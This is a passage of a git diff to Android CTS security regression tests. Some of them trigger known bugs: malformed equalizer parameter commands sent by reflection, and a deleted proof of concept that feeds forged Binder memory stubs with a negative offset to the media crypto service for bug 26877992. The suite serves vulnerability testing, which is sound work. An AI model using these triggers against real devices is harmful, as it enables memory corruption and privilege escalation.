         final int CAPTURE_SIZE = 1 << 24; // 16MB seems to be large enough to cause a SEGV.
diff --git a/tests/tests/security/src/android/security/cts/SkICOImageDecoderTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java
similarity index 60%
rename from tests/tests/security/src/android/security/cts/SkICOImageDecoderTest.java
rename to tests/tests/security/src/android/security/cts/BigRleTest.java
index 717772a..d957668 100644
--- a/tests/tests/security/src/android/security/cts/SkICOImageDecoderTest.java
+++ b/tests/tests/security/src/android/security/cts/BigRleTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2017 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -24,18 +24,15 @@
 
 import com.android.cts.security.R;
 
-public class SkICOImageDecoderTest extends AndroidTestCase {
-
+public class BigRleTest extends AndroidTestCase {
     /**
-     * Verifies that the device is not vulnerable to ANDROID-17265206: Buffer overflow in libskia
+     * Verifies that the device does not run OOM decoding a particular RLE encoded BMP.
+     *
+     * This image reports that its encoded length is over 4 gigs. Prior to fixing issue 33251605,
+     * we attempted to allocate space for all the encoded data at once, resulting in OOM.
      */
-    public void testAllocateJavaPixelRefOverflow() {
-        InputStream exploitImage = mContext.getResources().openRawResource(
-                R.raw.skia_sigsegv_in_skicoimagedecoder);
-        /**
-         * Pass/Fail not required as the target method for the exploit
-         * results in SIGSEGV (Segmentation fault) which will lead to process crash
-         */
-        BitmapFactory.decodeStream(exploitImage);
+    public void test_android_bug_33251605() {
+        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605);
+        Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
index c57f73f..ef76b04 100644
--- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -22,6 +22,8 @@
 import android.test.InstrumentationTestCase;
 import android.util.Log;
 
+import com.android.cts.util.SecurityTest;
+
 import java.nio.ByteBuffer;
 import java.nio.ByteOrder;
 import java.nio.charset.StandardCharsets;
@@ -40,44 +42,52 @@
     private static final int MEDIA_LONG = 1;
 
     //Testing security bug: 32436341
+    @SecurityTest
     public void testEqualizer_getParamCenterFreq() throws Exception {
         testGetParam(MEDIA_SHORT, Equalizer.PARAM_CENTER_FREQ, INVALID_BAND_ARRAY, mValue0,
                 mValue1);
     }
 
     //Testing security bug: 32588352
+    @SecurityTest
     public void testEqualizer_getParamCenterFreq_long() throws Exception {
         testGetParam(MEDIA_LONG, Equalizer.PARAM_CENTER_FREQ, INVALID_BAND_ARRAY, mValue0, mValue1);
     }
 
     //Testing security bug: 32438598
+    @SecurityTest
     public void testEqualizer_getParamBandLevel() throws Exception {
         testGetParam(MEDIA_SHORT, Equalizer.PARAM_BAND_LEVEL, INVALID_BAND_ARRAY, mValue0, mValue1);
     }
 
     //Testing security bug: 32584034
+    @SecurityTest
     public void testEqualizer_getParamBandLevel_long() throws Exception {
         testGetParam(MEDIA_LONG, Equalizer.PARAM_BAND_LEVEL, INVALID_BAND_ARRAY, mValue0, mValue1);
     }
 
     //Testing security bug: 32247948
+    @SecurityTest
     public void testEqualizer_getParamFreqRange() throws Exception {
         testGetParam(MEDIA_SHORT, Equalizer.PARAM_BAND_FREQ_RANGE, INVALID_BAND_ARRAY, mValue0,
                 mValue1);
     }
 
     //Testing security bug: 32588756
+    @SecurityTest
     public void testEqualizer_getParamFreqRange_long() throws Exception {
         testGetParam(MEDIA_LONG, Equalizer.PARAM_BAND_FREQ_RANGE, INVALID_BAND_ARRAY, mValue0,
                 mValue1);
     }
 
     //Testing security bug: 32448258
+    @SecurityTest
     public void testEqualizer_getParamPresetName() throws Exception {
         testParamPresetName(MEDIA_SHORT);
     }
 
     //Testing security bug: 32588016
+    @SecurityTest
     public void testEqualizer_getParamPresetName_long() throws Exception {
         testParamPresetName(MEDIA_LONG);
     }
@@ -115,6 +125,7 @@
     }
 
     //testing security bug: 32095626
+    @SecurityTest
     public void testEqualizer_setParamBandLevel() throws Exception {
         final int command = Equalizer.PARAM_BAND_LEVEL;
         short[] value = { 1000 };
@@ -127,6 +138,7 @@
     }
 
     //testing security bug: 32585400
+    @SecurityTest
     public void testEqualizer_setParamBandLevel_long() throws Exception {
         final int command = Equalizer.PARAM_BAND_LEVEL;
         short[] value = { 1000 };
@@ -139,17 +151,74 @@
     }
 
     //testing security bug: 32705438
+    @SecurityTest
     public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
         assertTrue("testEqualizer_getParamFreqRangeCommand_short did not complete successfully",
                 eqGetParamFreqRangeCommand(MEDIA_SHORT));
     }
 
     //testing security bug: 32703959
+    @SecurityTest
     public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
         assertTrue("testEqualizer_getParamFreqRangeCommand_long did not complete successfully",
                 eqGetParamFreqRangeCommand(MEDIA_LONG));
     }
 
+    //testing security bug: 37563371 (short media)
+    public void testEqualizer_setParamProperties_short() throws Exception {
+        assertTrue("testEqualizer_setParamProperties_long did not complete successfully",
+                eqSetParamProperties(MEDIA_SHORT));
+    }
+
+    //testing security bug: 37563371 (long media)
+    public void testEqualizer_setParamProperties_long() throws Exception {
+        assertTrue("testEqualizer_setParamProperties_long did not complete successfully",
+                eqSetParamProperties(MEDIA_LONG));
+    }
+
+    private boolean eqSetParamProperties(int media) {
+        MediaPlayer mp = null;
+        Equalizer eq = null;
+        boolean status = false;
+        try {
+            mp = MediaPlayer.create(getInstrumentation().getContext(),  getMediaId(media));
+            eq = new Equalizer(0 /*priority*/, mp.getAudioSessionId());
+
+            int intSize = 4; //bytes
+            int shortSize = 2; //bytes
+
+            int cmdCode = 5; // EFFECT_CMD_SET_PARAM
+            byte command[] = concatArrays(/*status*/ intToByteArray(0),
+                    /*psize*/ intToByteArray(1 * intSize),
+                    /*vsize*/ intToByteArray(2 * shortSize),
+                    /*data[0]*/ intToByteArray((int) 9 /*EQ_PARAM_PROPERTIES*/),
+                    /*data[4]*/ shortToByteArray((short)-1 /*preset*/),
+                    /*data[6]*/ shortToByteArray((short)5 /*FIVEBAND_NUMBANDS*/));
+            byte reply[] = new byte[ 4 /*command.length*/];
+
+            AudioEffect af = eq;
+            Object o = AudioEffect.class.getDeclaredMethod("command", int.class, byte[].class,
+                    byte[].class).invoke(af, cmdCode, command, reply);
+
+            int replyValue = byteArrayToInt(reply, 0 /*offset*/);
+            if (replyValue >= 0) {
+                Log.w(TAG, "Reply Value: " + replyValue);
+            }
+            assertTrue("Negative replyValue was expected ", replyValue < 0);
+            status = true;
+        } catch (Exception e) {
+            Log.w(TAG,"Problem setting parameter in equalizer");
+        } finally {
+            if (eq != null) {
+                eq.release();
+            }
+            if (mp != null) {
+                mp.release();
+            }
+        }
+        return status;
+    }
+
     private boolean eqGetParamFreqRangeCommand(int media) {
         MediaPlayer mp = null;
         Equalizer eq = null;
@@ -316,6 +385,12 @@
         return converter.array();
     }
 
+    public static int byteArrayToInt(byte[] valueBuf, int offset) {
+        ByteBuffer converter = ByteBuffer.wrap(valueBuf);
+        converter.order(ByteOrder.nativeOrder());
+        return converter.getInt(offset);
+    }
+
     private static byte[] shortToByteArray(short value) {
         ByteBuffer converter = ByteBuffer.allocate(2);
         converter.order(ByteOrder.nativeOrder());
diff --git a/tests/tests/security/src/android/security/cts/GraphicBufferInfoLeakTest.java b/tests/tests/security/src/android/security/cts/GraphicBufferInfoLeakTest.java
new file mode 100644
index 0000000..6005e37
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/GraphicBufferInfoLeakTest.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import junit.framework.TestCase;
+
+public class GraphicBufferInfoLeakTest extends TestCase {
+
+    static {
+        System.loadLibrary("ctssecurity_jni");
+    }
+
+    /**
+     * Check that IGraphicBufferConsumer::attachBuffer does not leak info in error case
+     */
+    public void test_attachBufferInfoLeak() throws Exception {
+        int slot = native_test_attachBufferInfoLeak();
+        assertTrue(String.format("Leaked slot 0x%08X", slot), slot == -1);
+    }
+
+    /**
+     * Check that IGraphicBufferProducer::queueBuffer does not leak info in error case
+     */
+    public void test_queueBufferInfoLeak() throws Exception {
+        int data = native_test_queueBufferInfoLeak();
+        assertTrue(String.format("Leaked buffer data 0x%08X", data), data == 0);
+    }
+
+    private static native int native_test_attachBufferInfoLeak();
+    private static native int native_test_queueBufferInfoLeak();
+}
diff --git a/tests/tests/security/src/android/security/cts/IMemoryHeapCorruptionTest.java b/tests/tests/security/src/android/security/cts/IMemoryHeapCorruptionTest.java
deleted file mode 100644
index 8eeea4e..0000000
--- a/tests/tests/security/src/android/security/cts/IMemoryHeapCorruptionTest.java
+++ /dev/null
@@ -1,428 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.content.Context;
-import android.os.Binder;
-import android.os.IBinder;
-import android.os.Parcel;
-import android.os.ParcelFileDescriptor;
-import android.os.RemoteException;
-import android.test.AndroidTestCase;
-
-import java.io.FileDescriptor;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.nio.ByteBuffer;
-import java.nio.ByteOrder;
-import java.nio.IntBuffer;
-import java.util.Arrays;
-
-/**
- * Checks IMemory.cpp so that it should not return arbitrary memory locations (by checking against
- * the size of IMemoryHeap) which can lead to memory corruption or segmentation fault.
- */
-
-public class IMemoryHeapCorruptionTest extends AndroidTestCase {
-
-    static class MediaPlayerServiceOps {
-        static int CREATE = IBinder.FIRST_CALL_TRANSACTION;
-        static int CREATE_MEDIA_RECORDER = CREATE + 1;
-        static int CREATE_METADATA_RETRIEVER = CREATE_MEDIA_RECORDER + 1;
-        static int GET_OMX = CREATE_METADATA_RETRIEVER + 1;
-        static int MAKE_CRYPTO = GET_OMX + 1;
-    }
-
-    static class SubSample {
-        int mNumBytesOfClearData;
-        int mNumBytesOfEncryptedData;
-
-        public SubSample(int clearData, int encryptedData) {
-            mNumBytesOfClearData = clearData;
-            mNumBytesOfEncryptedData = encryptedData;
-        }
-
-        public SubSample() {
-            this(0, 0);
-        }
-    }
-
-    static interface IMemoryHeap {
-        ParcelFileDescriptor getHeapID();
-
-        int getSize();
-
-        int getFlags();
-
-        int getOffset();
-    }
-
-    static class IMemoryHeapStub extends Binder {
-        static final String DESCRIPTOR = "android.utils.IMemoryHeap";
-        private FileDescriptor mFd;
-        private int mOffset;
-        private int mSize;
-        private int mFlags;
-
-        public static final int READ_ONLY = 0x00000001;
-        static final int HEAD_ID = IBinder.FIRST_CALL_TRANSACTION;
-
-        public IMemoryHeapStub(FileDescriptor fd, int offset, int size, int flags) {
-            mFd = fd;
-            mOffset = offset;
-            mSize = size;
-            mFlags = flags;
-        }
-
-        @Override
-        public boolean onTransact(int code, Parcel data, Parcel reply,
-                int flags) throws RemoteException {
-            switch (code) {
-                case INTERFACE_TRANSACTION: {
-                    reply.writeString(DESCRIPTOR);
-                    return true;
-                }
-                case HEAD_ID: {
-                    data.enforceInterface(DESCRIPTOR);
-                    reply.writeFileDescriptor(mFd);
-                    reply.writeInt(mSize);
-                    reply.writeInt(mFlags);
-                    reply.writeInt(mOffset);
-                    reply.writeNoException();
-                    return true;
-                }
-            }
-            return super.onTransact(code, data, reply, flags);
-        }
-    }
-
-    static class IMemoryHeapProxy implements IMemoryHeap {
-        private boolean mLoaded;
-        private int mFlags;
-        private int mOffset;
-        private int mSize;
-        private ParcelFileDescriptor mHeapID;
-        private IBinder mBinder;
-        static int HEAP_ID = IBinder.FIRST_CALL_TRANSACTION;
-        static final String DESCRIPTOR = "android.utils.IMemoryHeap";
-
-        private void loadFromProxy() {
-            if (!mLoaded) {
-                mLoaded = true;
-                try {
-                    Parcel data = Parcel.obtain();
-                    Parcel reply = Parcel.obtain();
-                    data.writeInterfaceToken(DESCRIPTOR);
-                    mBinder.transact(HEAP_ID, data, reply, 0);
-                    mHeapID = reply.readFileDescriptor();
-                    mSize = reply.readInt();
-                    mFlags = reply.readInt();
-                    mOffset = reply.readInt();
-                } catch (RemoteException ex) {
-                }
-            }
-        }
-
-        @Override
-        public ParcelFileDescriptor getHeapID() {
-            loadFromProxy();
-            return mHeapID;
-        }
-
-        @Override
-        public int getSize() {
-            loadFromProxy();
-            return mSize;
-        }
-
-        @Override
-        public int getFlags() {
-            loadFromProxy();
-            return mFlags;
-        }
-
-        @Override
-        public int getOffset() {
-            loadFromProxy();
-            return mOffset;
-        }
-
-        public IMemoryHeapProxy(IBinder binder) {
-            mBinder = binder;
-        }
-    }
-
-    static interface IMemory {
-        IMemoryHeap getHeap();
-
-        int getSize();
-
-        int getOffset();
-    }
-
-    static class IMemoryStub extends Binder {
-        static String DESCRIPTOR = "android.utils.IMemory";
-        private IMemoryHeapStub mHeap;
-        private int mOffset;
-        private int mSize;
-
-        public IMemoryStub(FileDescriptor fd, int offset, int size, int heapoffset,
-                int heapsize, boolean readonly) {
-            mHeap = new IMemoryHeapStub(fd, heapoffset, heapsize,
-                    readonly ? IMemoryHeapStub.READ_ONLY : 0);
-            mOffset = offset;
-            mSize = size;
-        }
-
-        public IMemoryStub(FileDescriptor fd, int offset, int size) {
-            this(fd, offset, size, offset, size, true);
-        }
-
-        static final int GET_MEMORY = IBinder.FIRST_CALL_TRANSACTION;
-
-        @Override
-        public boolean onTransact(int code, Parcel data, Parcel reply,
-                int flags) throws android.os.RemoteException {
-            switch (code) {
-                case INTERFACE_TRANSACTION: {
-                    reply.writeString(DESCRIPTOR);
-                    return true;
-                }
-                case GET_MEMORY: {
-                    data.enforceInterface(DESCRIPTOR);
-                    reply.writeStrongBinder(mHeap);
-                    reply.writeInt(mOffset);
-                    reply.writeInt(mSize);
-                    reply.writeNoException();
-                    return true;
-                }
-            }
-            return super.onTransact(code, data, reply, flags);
-        }
-    }
-
-    static class CryptoProxy {
-        static int INIT_CHECK = IBinder.FIRST_CALL_TRANSACTION;
-        static int IS_CRYPTO_SUPPORTED = INIT_CHECK + 1;
-        static int CREATE_PLUGIN = IS_CRYPTO_SUPPORTED + 1;
-        static int DESTROY_PLUGIN = CREATE_PLUGIN + 1;
-        static int REQUIRES_SECURE_COMPONENT = DESTROY_PLUGIN + 1;
-        static int DECRYPT = REQUIRES_SECURE_COMPONENT + 1;
-
-        /**
-         * For these error values, please refer MediaErrors.h under the path
-         * /frameworks/av/include/media/stagefright/
-         */
-        static int DRM_ERROR_BASE = -2000;
-        static int ERROR_DRM_UNKNOWN = DRM_ERROR_BASE;
-        static int ERROR_DRM_LAST_USED_ERRORCODE = DRM_ERROR_BASE - 11;
-
-        private IBinder mBinder;
-
-        public CryptoProxy(IBinder binder) {
-            mBinder = binder;
-        }
-
-        public boolean getIsCryptoSupported(byte[] uuid) throws RemoteException {
-            Parcel data = Parcel.obtain();
-            Parcel reply = Parcel.obtain();
-            data.writeInterfaceToken("android.hardware.ICrypto");
-            writeRawBytes(data, uuid);
-            mBinder.transact(CryptoProxy.IS_CRYPTO_SUPPORTED, data, reply, 0);
-            return reply.readInt() != 0;
-        }
-
-        public int createPlugin(byte[] uuid, byte[] opaqueData) throws RemoteException {
-            Parcel data = Parcel.obtain();
-            Parcel reply = Parcel.obtain();
-            data.writeInterfaceToken("android.hardware.ICrypto");
-            writeRawBytes(data, uuid);
-            int length = opaqueData == null ? 0 : opaqueData.length;
-            data.writeInt(length);
-            if (length > 0) {
-                writeRawBytes(data, opaqueData);
-            }
-            mBinder.transact(CryptoProxy.CREATE_PLUGIN, data, reply, 0);
-            return reply.readInt();
-        }
-
-        byte[] decrypt(boolean secure, byte[] key, byte[] iv, int mode, IMemoryStub sharedBuffer,
-                int offset, SubSample[] subSamples, long dstPtr) throws RemoteException {
-            Parcel data = Parcel.obtain();
-            Parcel reply = Parcel.obtain();
-            data.writeInterfaceToken("android.hardware.ICrypto");
-            data.writeInt(secure ? 1 : 0);
-            data.writeInt(mode);
-            if (key == null) {
-                key = new byte[16];
-            }
-            if (iv == null) {
-                iv = new byte[16];
-            }
-            writeRawBytes(data, key);
-            writeRawBytes(data, iv);
-            int totalSize = 0;
-            for (SubSample ss : subSamples) {
-                totalSize += ss.mNumBytesOfEncryptedData;
-                totalSize += ss.mNumBytesOfClearData;
-            }
-            data.writeInt(totalSize);
-            data.writeStrongBinder(sharedBuffer);
-            data.writeInt(offset);
-            data.writeInt(subSamples.length);
-            for (SubSample ss : subSamples) {
-                data.writeInt(ss.mNumBytesOfClearData);
-                data.writeInt(ss.mNumBytesOfEncryptedData);
-            }
-            if (secure) {
-                data.writeLong(dstPtr);
-            }
-            mBinder.transact(DECRYPT, data, reply, 0);
-            int length = reply.readInt();
-
-            /**
-             * If the length value returned is negative and within the error range, this means the
-             * call to mBinder.transact didn't go through and hence raise a Binder
-             * remote-invocation error. For more information, refer decrypt method
-             * in ICrypto.cpp under the path /frameworks/av/media/libmedia/
-             */
-            if ((length > ERROR_DRM_LAST_USED_ERRORCODE) && (length <= ERROR_DRM_UNKNOWN)) {
-                throw new RemoteException(readCString(reply));
-            }
-
-            if (!secure && length > 0) {
-                    return readRawBytes(reply, length);
-            }
-
-            return new byte[0];
-        }
-    }
-
-    static int[] convertBytesToInts(byte[] byteArray) {
-        IntBuffer intBuf = ByteBuffer.wrap(byteArray).order(ByteOrder.LITTLE_ENDIAN).asIntBuffer();
-        int[] array = new int[intBuf.remaining()];
-        intBuf.get(array);
-        return array;
-    }
-
-    static void writeRawBytes(Parcel data, byte[] bytes) {
-        int len = bytes.length;
-        if ((len & 3) != 0) {
-            bytes = Arrays.copyOf(bytes, (len + 3) & ~3);
-        }
-        for (int i : convertBytesToInts(bytes)) {
-            data.writeInt(i);
-        }
-    }
-
-    static byte[] convertIntToBytes(int i) {
-        ByteBuffer byteBuffer = ByteBuffer.allocate(4);
-        byteBuffer.order(ByteOrder.LITTLE_ENDIAN);
-        byteBuffer.putInt(0, i);
-        byte[] ret = new byte[4];
-        byteBuffer.get(ret);
-        return ret;
-    }
-
-    static String readCString(Parcel data) {
-        StringBuilder builder = new StringBuilder();
-        while (data.dataAvail() > 4) {
-            int len;
-            byte[] bytes = convertIntToBytes(data.readInt());
-            for (len = 0; len < 4; ++len) {
-                if (bytes[len] == 0) {
-                    break;
-                }
-            }
-            builder.append(new String(bytes, 0, len));
-            if (len < 4) {
-                break;
-            }
-        }
-        return builder.toString();
-    }
-
-    static byte[] readRawBytes(Parcel data, int length) {
-        int readLen = (length + 3) & ~3;
-        byte[] ret = new byte[length];
-        ByteBuffer byteBuffer = ByteBuffer.allocate(readLen);
-        byteBuffer.order(ByteOrder.LITTLE_ENDIAN);
-        for (int i = 0; i < readLen / 4; ++i) {
-            byteBuffer.putInt(data.readInt());
-        }
-        byteBuffer.position(0);
-        byteBuffer.get(ret, 0, length);
-        return ret;
-    }
-
-    static IBinder getService(String service) throws ClassNotFoundException, NoSuchMethodException,
-            InvocationTargetException, IllegalAccessException {
-        Class mClass = Class.forName("android.os.ServiceManager");
-        Method mMethod = mClass.getMethod("getService", String.class);
-        return (IBinder) mMethod.invoke(null, service);
-    }
-
-    public void mediaPlayerTest(Context ctx) throws Throwable {
-        IBinder serviceBinder = getService("media.player");
-        serviceBinder.getInterfaceDescriptor();
-        Parcel data = Parcel.obtain();
-        Parcel reply = Parcel.obtain();
-        data.writeInterfaceToken("android.media.IMediaPlayerService");
-        serviceBinder.transact(MediaPlayerServiceOps.MAKE_CRYPTO, data, reply, 0);
-        IBinder crypto = reply.readStrongBinder();
-        crypto.getInterfaceDescriptor();
-
-        /**
-         * Crypto schemes are assigned 16 byte UUIDs and they can be used to query if a given
-         * scheme is supported on the device.
-         * The following bytes indicate the UUID of the crypto scheme.
-         */
-        byte cryptoSchemeUUID[] = {
-                (byte) 0x10, (byte) 0x77, (byte) 0xEF, (byte) 0xEC, (byte) 0xC0, (byte) 0xB2,
-                (byte) 0x4D, (byte) 0x02, (byte) 0xAC, (byte) 0xE3, (byte) 0x3C, (byte) 0x1E,
-                (byte) 0x52, (byte) 0xE2, (byte) 0xFB, (byte) 0x4B
-        };
-        CryptoProxy cryptoProxy = new CryptoProxy(crypto);
-        cryptoProxy.getIsCryptoSupported(cryptoSchemeUUID);
-        cryptoProxy.createPlugin(cryptoSchemeUUID, null);
-        FileOutputStream fos = ctx.openFileOutput("dummy.bin", 0);
-        byte[] byteArray = new byte[10];
-        for (int i = 0; i < byteArray.length; ++i) {
-            byteArray[i] = (byte) i;
-        }
-        fos.write(byteArray);
-        fos.close();
-        FileInputStream fis = ctx.openFileInput("dummy.bin");
-        IMemoryStub sharedBuffer = new IMemoryStub(fis.getFD(), -1024 * 1024 * 1024,
-                0xFFFFFFFF, 0, 10, true);
-        SubSample[] subSamples = new SubSample[1];
-        subSamples[0] = new SubSample(10, 0);
-        cryptoProxy.decrypt(false, null, null, 0, sharedBuffer, 0x1234, subSamples, 0);
-    }
-
-    public void testIMemoryElevationOfPrivilegeExploit() {
-        try {
-            mediaPlayerTest(getContext());
-        } catch (Throwable throwable) {
-            fail("Device is vulnerable to bug #26877992!! For more information, refer - " +
-                    "https://android.googlesource.com/platform/frameworks/native/+/" +
-                    "f3199c228aced7858b75a8070b8358c155ae0149");
-        }
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
new file mode 100644
index 0000000..634f3681
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.security.cts.IIsolatedService;
+import android.security.cts.IsolatedService;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import com.android.internal.util.ArrayUtils;
+import com.android.cts.util.SecurityTest;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import junit.framework.Assert;
+
+public class IsolatedProcessTest extends AndroidTestCase {
+    static final String TAG = IsolatedProcessTest.class.getSimpleName();
+
+    private static final long BIND_SERVICE_TIMEOUT = 5000;
+
+    // No service other than these should be visible to an isolated process
+    private static final String[] SERVICES_ALLOWED_TO_ISOLATED_PROCESS = {
+            "package",
+            Context.ACTIVITY_SERVICE
+    };
+    // Arbitrary set of services to test accessibility from an isolated process
+    private static final String[] RESTRICTED_SERVICES_TO_TEST = {
+            Context.ALARM_SERVICE,
+            Context.WINDOW_SERVICE,
+            Context.POWER_SERVICE
+    };
+
+    private CountDownLatch mLatch;
+    private IIsolatedService mService;
+    private final ServiceConnection mServiceConnection = new ServiceConnection() {
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+            Log.e(TAG, "Isolated service " + name + " died abruptly");
+        }
+
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            mService = IIsolatedService.Stub.asInterface(service);
+            mLatch.countDown();
+        }
+    };
+
+    @Override
+    public void setUp() throws InterruptedException {
+        mLatch = new CountDownLatch(1);
+        Intent serviceIntent = new Intent(mContext, IsolatedService.class);
+        mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+        Assert.assertTrue("Timed out while waiting to bind to isolated service",
+                mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS));
+    }
+
+    @SecurityTest
+    public void testGetCachedServicesFromIsolatedService() throws RemoteException {
+        String[] cachedServices = mService.getCachedSystemServices();
+        for (String serviceName : cachedServices) {
+            Assert.assertTrue(serviceName + " should not be accessbible from an isolated process",
+                    ArrayUtils.contains(SERVICES_ALLOWED_TO_ISOLATED_PROCESS, serviceName));
+        }
+    }
+
+    @SecurityTest
+    public void testGetServiceFromIsolatedService() throws RemoteException {
+        for (String serviceName : RESTRICTED_SERVICES_TO_TEST) {
+            IBinder service = mService.getSystemService(serviceName);
+            Assert.assertNull(serviceName + " should not be accessible from an isolated process",
+                    service);
+        }
+    }
+
+    @Override
+    public void tearDown() {
+        mContext.unbindService(mServiceConnection);
+    }
+
+}
diff --git a/tests/tests/security/src/android/security/cts/IsolatedService.java b/tests/tests/security/src/android/security/cts/IsolatedService.java
new file mode 100644
index 0000000..28d2a65
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/IsolatedService.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.util.Log;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Map;
+
+public class IsolatedService extends Service {
+
+    private static final String TAG = IsolatedService.class.getSimpleName();
+    private static final String SERVICE_MANAGER_CLASS_NAME = "android.os.ServiceManager";
+    private static final String SERVICE_MANAGER_INTERNAL_CACHE_NAME = "sCache";
+    private static final String GET_SERVICE_METHOD_NAME = "getService";
+
+    private String[] getServicesCachedInServiceManager() {
+        ArrayList<String> cachedServices = new ArrayList<String>();
+        try {
+            Class<?> serviceManager = Class.forName(SERVICE_MANAGER_CLASS_NAME);
+            Field cacheField = serviceManager.getDeclaredField(SERVICE_MANAGER_INTERNAL_CACHE_NAME);
+            cacheField.setAccessible(true);
+            HashMap<String, IBinder> sCache = (HashMap<String, IBinder>) cacheField.get(null);
+            for (Map.Entry<String, IBinder> serviceEntry : sCache.entrySet()) {
+                if (serviceEntry.getValue() != null) {
+                    cachedServices.add(serviceEntry.getKey());
+                }
+            }
+        } catch (ClassCastException | ReflectiveOperationException exc) {
+            Log.w(TAG, "Unable to retrieve service manager cache via reflection ", exc);
+        }
+        return cachedServices.toArray(new String[cachedServices.size()]);
+    }
+
+    private IBinder getServiceFromServiceManager(String serviceName) {
+        try {
+            Class<?> serviceManager = Class.forName(SERVICE_MANAGER_CLASS_NAME);
+            Method getServiceMethod =
+                    serviceManager.getDeclaredMethod(GET_SERVICE_METHOD_NAME, String.class);
+            IBinder service = (IBinder) getServiceMethod.invoke(null, serviceName);
+            return service;
+        } catch (ClassCastException | ReflectiveOperationException exc) {
+            Log.w(TAG, "Unable to call ServiceManager.getService() ", exc);
+        }
+        return null;
+    }
+
+    private final IIsolatedService.Stub mBinder = new IIsolatedService.Stub() {
+
+        public String[] getCachedSystemServices() {
+            return getServicesCachedInServiceManager();
+        }
+
+        public IBinder getSystemService(String serviceName) {
+            return getServiceFromServiceManager(serviceName);
+        }
+    };
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder;
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
index 87e957d..54fa406 100644
--- a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
+++ b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
@@ -18,11 +18,14 @@
 
 import android.content.pm.PackageManager;
 import android.test.AndroidTestCase;
+import android.util.Log;
 import junit.framework.AssertionFailedError;
 
 import java.io.File;
 import java.io.IOException;
 import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.Socket;
 import java.net.UnknownHostException;
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -37,15 +40,31 @@
  * is considered a security best practice.
  */
 public class ListeningPortsTest extends AndroidTestCase {
+    private static final String TAG = "ListeningPortsTest";
+
+    private static final int CONN_TIMEOUT_IN_MS = 5000;
 
     /** Ports that are allowed to be listening. */
     private static final List<String> EXCEPTION_PATTERNS = new ArrayList<String>(6);
 
     static {
         // IPv4 exceptions
